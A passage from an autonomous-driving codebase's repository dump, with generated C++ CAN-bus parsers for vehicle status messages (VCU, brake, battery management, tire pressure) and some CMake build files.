'VCU_ENGSTART_RQ_RQ'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 28, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_engstart_rqType Gwvcusts0x218218::vcu_engstart_rq(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(4, 1); Gw_vcu_sts_0x218_218::Vcu_engstart_rqType ret = static_cast<Gw_vcu_sts_0x218_218::Vcu_engstart_rqType>(x); return ret; } // config detail: {'name': 'vcu_dcu_parkrequest', 'enum': {0: 'VCU_DCU_PARKREQUEST_OFF', 1: 'VCU_DCU_PARKREQUEST_PARK', 2: 'VCU_DCU_PARKREQUEST_UNPARK', 3: 'VCU_DCU_PARKREQUEST_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 44, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_dcu_parkrequestType Gwvcusts0x218218::vcu_dcu_parkrequest(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(3, 2); Gw_vcu_sts_0x218_218::Vcu_dcu_parkrequestType ret = static_cast<Gw_vcu_sts_0x218_218::Vcu_dcu_parkrequestType>(x); return ret; } // config detail: {'name': 'vcu_actualgearlevelpositionvalid', 'enum': {0: 'VCU_ACTUALGEARLEVELPOSITIONVALID_VALID', 1: 'VCU_ACTUALGEARLEVELPOSITIONVALID_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 32, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_actualgearlevelpositionvalidType Gwvcusts0x218218::vcu_actualgearlevelpositionvalid(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 1); Gw_vcu_sts_0x218_218::Vcu_actualgearlevelpositionvalidType ret = static_cast<Gw_vcu_sts_0x218_218::Vcu_actualgearlevelpositionvalidType>(x); return ret; } // config detail: {'name': 'vcu_actualgearlevelposition', 'enum': {0: 'VCU_ACTUALGEARLEVELPOSITION_INITIAL', 1: 'VCU_ACTUALGEARLEVELPOSITION_P_PARK', 2: 'VCU_ACTUALGEARLEVELPOSITION_R_REVERSE', 3: 'VCU_ACTUALGEARLEVELPOSITION_N_NEUTRAL', 4: 'VCU_ACTUALGEARLEVELPOSITION_D_DRIVE', 5: 'VCU_ACTUALGEARLEVELPOSITION_INVALID'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 47, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_actualgearlevelpositionType Gwvcusts0x218218::vcu_actualgearlevelposition(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(5, 3); Gw_vcu_sts_0x218_218::Vcu_actualgearlevelpositionType ret = static_cast<Gw_vcu_sts_0x218_218::Vcu_actualgearlevelpositionType>(x); return ret; } // config detail: {'name': 'vcu_bms_chgstart_alw', 'enum': {0: 'VCU_BMS_CHGSTART_ALW_FORBID', 1: 'VCU_BMS_CHGSTART_ALW_ALLOW'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 22, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_bms_chgstart_alwType Gwvcusts0x218218::vcu_bms_chgstart_alw(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(6, 1); Gw_vcu_sts_0x218_218::Vcu_bms_chgstart_alwType ret = static_cast<Gw_vcu_sts_0x218_218::Vcu_bms_chgstart_alwType>(x); return ret; } // config detail: {'name': 'vcu_bms_hvonoff_req', 'enum': {0: 'VCU_BMS_HVONOFF_REQ_FORBID', 1: 'VCU_BMS_HVONOFF_REQ_ALLOW'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_bms_hvonoff_reqType Gwvcusts0x218218::vcu_bms_hvonoff_req(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(7, 1); Gw_vcu_sts_0x218_218::Vcu_bms_hvonoff_reqType ret = static_cast<Gw_vcu_sts_0x218_218::Vcu_bms_hvonoff_reqType>(x); return ret; } // config detail: {'name': 'vcu_vehfailgrade_err', 'enum': {0: 'VCU_VEHFAILGRADE_ERR_NORMAL', 1: 'VCU_VEHFAILGRADE_ERR_LEVEL1', 2: 'VCU_VEHFAILGRADE_ERR_LEVEL2', 3: 'VCU_VEHFAILGRADE_ERR_LEVEL3'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 25, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_vehfailgrade_errType Gwvcusts0x218218::vcu_vehfailgrade_err(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(0, 2); Gw_vcu_sts_0x218_218::Vcu_vehfailgrade_errType ret = static_cast<Gw_vcu_sts_0x218_218::Vcu_vehfailgrade_errType>(x); return ret; } // config detail: {'name': 'vcu_running_mode', 'enum': {0: 'VCU_RUNNING_MODE_STANDBY', 1: 'VCU_RUNNING_MODE_EV_MODE', 2: 'VCU_RUNNING_MODE_HYBIRD_MODE'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 27, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_running_modeType Gwvcusts0x218218::vcu_running_mode(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(2, 2); Gw_vcu_sts_0x218_218::Vcu_running_modeType ret = static_cast<Gw_vcu_sts_0x218_218::Vcu_running_modeType>(x); return ret; } // config detail: {'name': 'vcu_bp_sleep_allowed', 'enum': {0: 'VCU_BP_SLEEP_ALLOWED_NOT_ALLOWED', 1: 'VCU_BP_SLEEP_ALLOWED_ALLOWED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 33, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_bp_sleep_allowedType Gwvcusts0x218218::vcu_bp_sleep_allowed(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(1, 1); Gw_vcu_sts_0x218_218::Vcu_bp_sleep_allowedType ret = static_cast<Gw_vcu_sts_0x218_218::Vcu_bp_sleep_allowedType>(x); return ret; } // config detail: {'name': 'vcu_hvil_in', 'enum': {0: 'VCU_HVIL_IN_OFF', 1: 'VCU_HVIL_IN_ON'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 34, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_hvil_inType Gwvcusts0x218218::vcu_hvil_in(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(2, 1); Gw_vcu_sts_0x218_218::Vcu_hvil_inType ret = static_cast<Gw_vcu_sts_0x218_218::Vcu_hvil_inType>(x); return ret; } // config detail: {'name': 'vcu_hvil_out', 'enum': {0: 'VCU_HVIL_OUT_OFF', 1: 'VCU_HVIL_OUT_ON'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 35, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_hvil_outType Gwvcusts0x218218::vcu_hvil_out(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(3, 1); Gw_vcu_sts_0x218_218::Vcu_hvil_outType ret = static_cast<Gw_vcu_sts_0x218_218::Vcu_hvil_outType>(x); return ret; } // config detail: {'name': 'vcu_bp_input_cooling_temp', 'offset': -40.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[-40|215]', 'bit': 15, 'type': 'int', 'order': 'motorola', 'physical_unit': '\\A1\\E6'} int Gwvcusts0x218218::vcu_bp_input_cooling_temp(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(0, 8); int ret = x + -40.000000; return ret; } // config detail: {'name': 'vcu_motor_input_cooling_temp', 'offset': -40.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[-40|215]', 'bit': 7, 'type': 'int', 'order': 'motorola', 'physical_unit': '\\A1\\E6'} int Gwvcusts0x218218::vcu_motor_input_cooling_temp(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); int ret = x + -40.000000; return ret; } } // namespace teshun } // namespace canbus } // namespace jmc_auto <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_IBC_STATUS2_0X124_124_H_ #define MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_IBC_STATUS2_0X124_124_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace teshun { class Ibcstatus20x124124 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Ibcstatus20x124124(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'Checksum_0x124', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int checksum_0x124(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Rolling_counter_0x124', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int rolling_counter_0x124(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'IBC_DecelerationVaild', 'enum': {0: 'IBC_DECELERATIONVAILD_INVAILD', 1: 'IBC_DECELERATIONVAILD_VALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 24, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Ibc_status2_0x124_124::Ibc_decelerationvaildType ibc_decelerationvaild(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'IBC_Deceleration', 'offset': 0.0, 'precision': 0.00159276, 'len': 12, 'is_signed_var': True, 'physical_range': '[0|0]', 'bit': 23, 'type': 'double', 'order': 'motorola', 'physical_unit': 'g'} double ibc_deceleration(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'IBC_BrkTMCPositionVaild', 'enum': {0: 'IBC_BRKTMCPOSITIONVAILD_INVAILD', 1: 'IBC_BRKTMCPOSITIONVAILD_VALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 8, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Ibc_status2_0x124_124::Ibc_brktmcpositionvaildType ibc_brktmcpositionvaild(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'IBC_BrkTMCPosition', 'offset': 0.0, 'precision': 0.1, 'len': 10, 'is_signed_var': False, 'physical_range': '[0|100]', 'bit': 7, 'type': 'double', 'order': 'motorola', 'physical_unit': '%'} double ibc_brktmcposition(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace teshun } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_TESHUN_PROTOCOL_IBC_STATUS2_0X124_124_H_ <file_sep>############################################################################# # 此文件仅包含mdc sdk相关内容 ############################################################################# set(SDK_INCLUDE "${TOOL_CHAIN_SYSROOT}/usr/local/include" "${TOOL_CHAIN_SYSROOT}/usr/local/include/viz" "${TOOL_CHAIN_SYSROOT}/usr/local/include/RT-DDS" "${TOOL_CHAIN_SYSROOT}/usr/local/include/someip" "${TOOL_CHAIN_SYSROOT}/usr/local/include/vrtf") set(SDK_LINK_DIR "${TOOL_CHAIN_SYSROOT}/usr/local/lib64" "${TOOL_CHAIN_SYSROOT}/usr/local/lib" "${TOOL_CHAIN_SYSROOT}/usr/lib" "${TOOL_CHAIN_SYSROOT}/usr/lib/aarch64-linux-gnu") set(SDK_LIB ara_com ara_per ara_exec ara_log crypto ddscpp ddscore dlt gmock gmock_main iccshm JsonParser jsoncpp KeyValueStorage logging MdioDrvAdapter pthread pci_dev_info protobuf-c rng someip securec ssl vrtf_vcc vcc_ddsdriver vcc_someipdriver yaml-cpp ara_visual pcie_trans) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(cos_theta_smoother cos_theta_smoother.cc cos_theta_smoother.h) target_link_libraries(cos_theta_smoother cos_theta_ipopt_interface log cos_theta_smoother_config_proto ipopt) add_library(cos_theta_ipopt_interface cos_theta_ipopt_interface.cc cos_theta_ipopt_interface.h) target_link_libraries(cos_theta_ipopt_interface log adolc ipopt) add_library(fem_pos_deviation_smoother fem_pos_deviation_smoother.cc fem_pos_deviation_smoother.h) target_link_libraries(fem_pos_deviation_smoother fem_pos_deviation_ipopt_interface fem_pos_deviation_osqp_interface fem_pos_deviation_sqp_osqp_interface log fem_pos_deviation_smoother_config_proto ipopt) add_library(fem_pos_deviation_ipopt_interface fem_pos_deviation_ipopt_interface.cc fem_pos_deviation_ipopt_interface.h) target_link_libraries(fem_pos_deviation_ipopt_interface log adolc ipopt) add_library(fem_pos_deviation_osqp_interface fem_pos_deviation_osqp_interface.cc fem_pos_deviation_osqp_interface.h) target_link_libraries(fem_pos_deviation_osqp_interface log osqp) add_library(fem_pos_deviation_sqp_osqp_interface fem_pos_deviation_sqp_osqp_interface.cc fem_pos_deviation_sqp_osqp_interface.h) target_link_libraries(fem_pos_deviation_sqp_osqp_interface log osqp) <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_GW_BMS_STS_0X181_181_H_ #define MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_GW_BMS_STS_0X181_181_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace teshun { class Gwbmssts0x181181 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Gwbmssts0x181181(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'Checksum_0x181', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int checksum_0x181(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Rolling_Counter_0x181', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int rolling_counter_0x181(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BMS_ERR_LEV', 'enum': {0: 'BMS_ERR_LEV_NO_ERROR', 1: 'BMS_ERR_LEV_LEVEL1_ERROR', 2: 'BMS_ERR_LEV_LEVEL2_ERROR', 3: 'BMS_ERR_LEV_LEVEL3_ERROR'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_bms_sts_0x181_181::Bms_err_levType bms_err_lev(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BMS_IDU_Status', 'enum': {0: 'BMS_IDU_STATUS_NORMAL', 1: 'BMS_IDU_STATUS_LEVEL1_600_A6_B8_V', 2: 'BMS_IDU_STATUS_LEVEL2_500_A6_B8_V', 3: 'BMS_IDU_STATUS_LEVEL3_CHARGE_100_A6_B8_V_DRIVE_400_A6_B8_V'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 33, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_bms_sts_0x181_181::Bms_idu_statusType bms_idu_status(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BMS_BatBalance_ERR', 'enum': {0: 'BMS_BATBALANCE_ERR_NORMAL', 1: 'BMS_BATBALANCE_ERR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 54, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_bms_sts_0x181_181::Bms_batbalance_errType bms_batbalance_err(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BMS_SocActual_EST', 'offset': 0.0, 'precision': 0.25, 'len': 9, 'is_signed_var': False, 'physical_range': '[0|100]', 'bit': 47, 'type': 'double', 'order': 'motorola', 'physical_unit': '%'} double bms_socactual_est(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BMS_PackCur_MEAS', 'offset': -800.0, 'precision': 0.1, 'len': 14, 'is_signed_var': False, 'physical_range': '[-800|800]', 'bit': 31, 'type': 'double', 'order': 'motorola', 'physical_unit': 'A'} double bms_packcur_meas(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BMS_Chg_STS', 'enum': {0: 'BMS_CHG_STS_NOT_READY', 1: 'BMS_CHG_STS_READY_TO_CHARGING', 2: 'BMS_CHG_STS_CHARGING', 3: 'BMS_CHG_STS_CHARGEERROR', 4: 'BMS_CHG_STS_CHARGEOK'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|4]', 'bit': 18, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_bms_sts_0x181_181::Bms_chg_stsType bms_chg_sts(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BMS_PackVol_MEAS', 'offset': 0.0, 'precision': 0.1, 'len': 13, 'is_signed_var': False, 'physical_range': '[0|800]', 'bit': 15, 'type': 'double', 'order': 'motorola', 'physical_unit': 'V'} double bms_packvol_meas(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BMS_Balance_STS', 'enum': {0: 'BMS_BALANCE_STS_INACTIVE', 1: 'BMS_BALANCE_STS_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 0, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_bms_sts_0x181_181::Bms_balance_stsType bms_balance_sts(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BMS_PackNum_EST', 'offset': 0.0, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'physical_range': '[0|1]', 'bit': 2, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int bms_packnum_est(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BMS_HvDown_REQ', 'enum': {0: 'BMS_HVDOWN_REQ_NO_REQUEST', 1: 'BMS_HVDOWN_REQ_REQUEST'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 3, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_bms_sts_0x181_181::Bms_hvdown_reqType bms_hvdown_req(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BMS_HVOnOff_STS', 'enum': {0: 'BMS_HVONOFF_STS_HV_OFF', 1: 'BMS_HVONOFF_STS_PRECHARGE', 2: 'BMS_HVONOFF_STS_HV_ON', 3: 'BMS_HVONOFF_STS_FAIL_TO_HV_ON'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 5, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_bms_sts_0x181_181::Bms_hvonoff_stsType bms_hvonoff_sts(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BMS_Sys_STS', 'enum': {0: 'BMS_SYS_STS_INIT', 1: 'BMS_SYS_STS_OK', 2: 'BMS_SYS_STS_WARNING', 3: 'BMS_SYS_STS_FAULT'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_bms_sts_0x181_181::Bms_sys_stsType bms_sys_sts(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace teshun } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_TESHUN_PROTOCOL_GW_BMS_STS_0X181_181_H_ <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #include <cstdint> #ifndef base_type_std_double_h #define base_type_std_double_h typedef double std_double; #endif // base_type_std_double_h <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/gw_tpms_tire_0x361_361.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Gwtpmstire0x361361::Gwtpmstire0x361361() {} const int32_t Gwtpmstire0x361361::ID = 0x361; void Gwtpmstire0x361361::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_gw_tpms_tire_0x361_361()->set_tpms_rf_pressure(tpms_rf_pressure(bytes, length)); chassis->mutable_cx75()->mutable_gw_tpms_tire_0x361_361()->set_tpms_rr_pressure(tpms_rr_pressure(bytes, length)); chassis->mutable_cx75()->mutable_gw_tpms_tire_0x361_361()->set_tpms_lr_pressure(tpms_lr_pressure(bytes, length)); chassis->mutable_cx75()->mutable_gw_tpms_tire_0x361_361()->set_tpms_tire_temperature(tpms_tire_temperature(bytes, length)); chassis->mutable_cx75()->mutable_gw_tpms_tire_0x361_361()->set_tpms_lf_pressure_warning(tpms_lf_pressure_warning(bytes, length)); chassis->mutable_cx75()->mutable_gw_tpms_tire_0x361_361()->set_tpms_rf_pressure_warning(tpms_rf_pressure_warning(bytes, length)); chassis->mutable_cx75()->mutable_gw_tpms_tire_0x361_361()->set_tpms_system_status(tpms_system_status(bytes, length)); chassis->mutable_cx75()->mutable_gw_tpms_tire_0x361_361()->set_tpms_rr_pressure_warning(tpms_rr_pressure_warning(bytes, length)); chassis->mutable_cx75()->mutable_gw_tpms_tire_0x361_361()->set_tpms_lr_pressure_warning(tpms_lr_pressure_warning(bytes, length)); chassis->mutable_cx75()->mutable_gw_tpms_tire_0x361_361()->set_tpms_temperature_warning(tpms_temperature_warning(bytes, length)); chassis->mutable_cx75()->mutable_gw_tpms_tire_0x361_361()->set_tpms_resrved(tpms_resrved(bytes, length)); chassis->mutable_cx75()->mutable_gw_tpms_tire_0x361_361()->set_tire_position(tire_position(bytes, length)); chassis->mutable_cx75()->mutable_gw_tpms_tire_0x361_361()->set_tpms_lamp_status(tpms_lamp_status(bytes, length)); chassis->mutable_cx75()->mutable_gw_tpms_tire_0x361_361()->set_tpms_al_state(tpms_al_state(bytes, length)); chassis->mutable_cx75()->mutable_gw_tpms_tire_0x361_361()->set_tpms_lf_pressure(tpms_lf_pressure(bytes, length)); } // config detail: {'name': 'tpms_rf_pressure', 'offset': 0.0, 'precision': 2.75, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|698.5]', 'bit': 15, 'type': 'double', 'order': 'motorola', 'physical_unit': 'Kpa'} double Gwtpmstire0x361361::tpms_rf_pressure(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(0, 8); double ret = x * 2.750000; return ret; } // config detail: {'name': 'tpms_rr_pressure', 'offset': 0.0, 'precision': 2.75, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|698.5]', 'bit': 23, 'type': 'double', 'order': 'motorola', 'physical_unit': 'Kpa'} double Gwtpmstire0x361361::tpms_rr_pressure(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 8); double ret = x * 2.750000; return ret; } // config detail: {'name': 'tpms_lr_pressure', 'offset': 0.0, 'precision': 2.75, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|698.5]', 'bit': 31, 'type': 'double', 'order': 'motorola', 'physical_unit': 'Kpa'} double Gwtpmstire0x361361::tpms_lr_pressure(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(0, 8); double ret = x * 2.750000; return ret; } // config detail: {'name': 'tpms_tire_temperature', 'offset': -60.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[-60|194]', 'bit': 39, 'type': 'int', 'order': 'motorola', 'physical_unit': 'deg.C'} int Gwtpmstire0x361361::tpms_tire_temperature(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 8); int ret = x + -60.000000; return ret; } // config detail: {'name': 'tpms_lf_pressure_warning', 'enum': {0: 'TPMS_LF_PRESSURE_WARNING_NO_WARNING', 1: 'TPMS_LF_PRESSURE_WARNING_HIGH_PRESSURE_WARNING', 2: 'TPMS_LF_PRESSURE_WARNING_LOW_PRESSURE_WARNING', 3: 'TPMS_LF_PRESSURE_WARNING_QUIK_LEAKAGE_RESERVED', 4: 'TPMS_LF_PRESSURE_WARNING_LOST_SENSOR', 5: 'TPMS_LF_PRESSURE_WARNING_SENSOR_BATTERY_LOW', 6: 'TPMS_LF_PRESSURE_WARNING_SENSOR_FAULTURE_RESERVED', 7: 'TPMS_LF_PRESSURE_WARNING_LOW_PRESSURE_WARN_QUIK_LEAK_RESERVED'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 42, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tpms_tire_0x361_361::Tpms_lf_pressure_warningType Gwtpmstire0x361361::tpms_lf_pressure_warning(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(0, 3); Gw_tpms_tire_0x361_361::Tpms_lf_pressure_warningType ret = static_cast<Gw_tpms_tire_0x361_361::Tpms_lf_pressure_warningType>(x); return ret; } // config detail: {'name': 'tpms_rf_pressure_warning', 'enum': {0: 'TPMS_RF_PRESSURE_WARNING_NO_WARNING', 1: 'TPMS_RF_PRESSURE_WARNING_HIGH_PRESSURE_WARNING', 2: 'TPMS_RF_PRESSURE_WARNING_LOW_PRESSURE_WARNING', 3: 'TPMS_RF_PRESSURE_WARNING_QUIK_LEAKAGE_RESERVED', 4: 'TPMS_RF_PRESSURE_WARNING_LOST_SENSOR', 5: 'TPMS_RF_PRESSURE_WARNING_SENSOR_BATTERY_LOW', 6: 'TPMS_RF_PRESSURE_WARNING_SENSOR_FAULTURE_RESERVED', 7: 'TPMS_RF_PRESSURE_WARNING_LOW_PRESSURE_WARN_QUIK_LEAK_RESERVED'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 45, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tpms_tire_0x361_361::Tpms_rf_pressure_warningType Gwtpmstire0x361361::tpms_rf_pressure_warning(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(3, 3); Gw_tpms_tire_0x361_361::Tpms_rf_pressure_warningType ret = static_cast<Gw_tpms_tire_0x361_361::Tpms_rf_pressure_warningType>(x); return ret; } // config 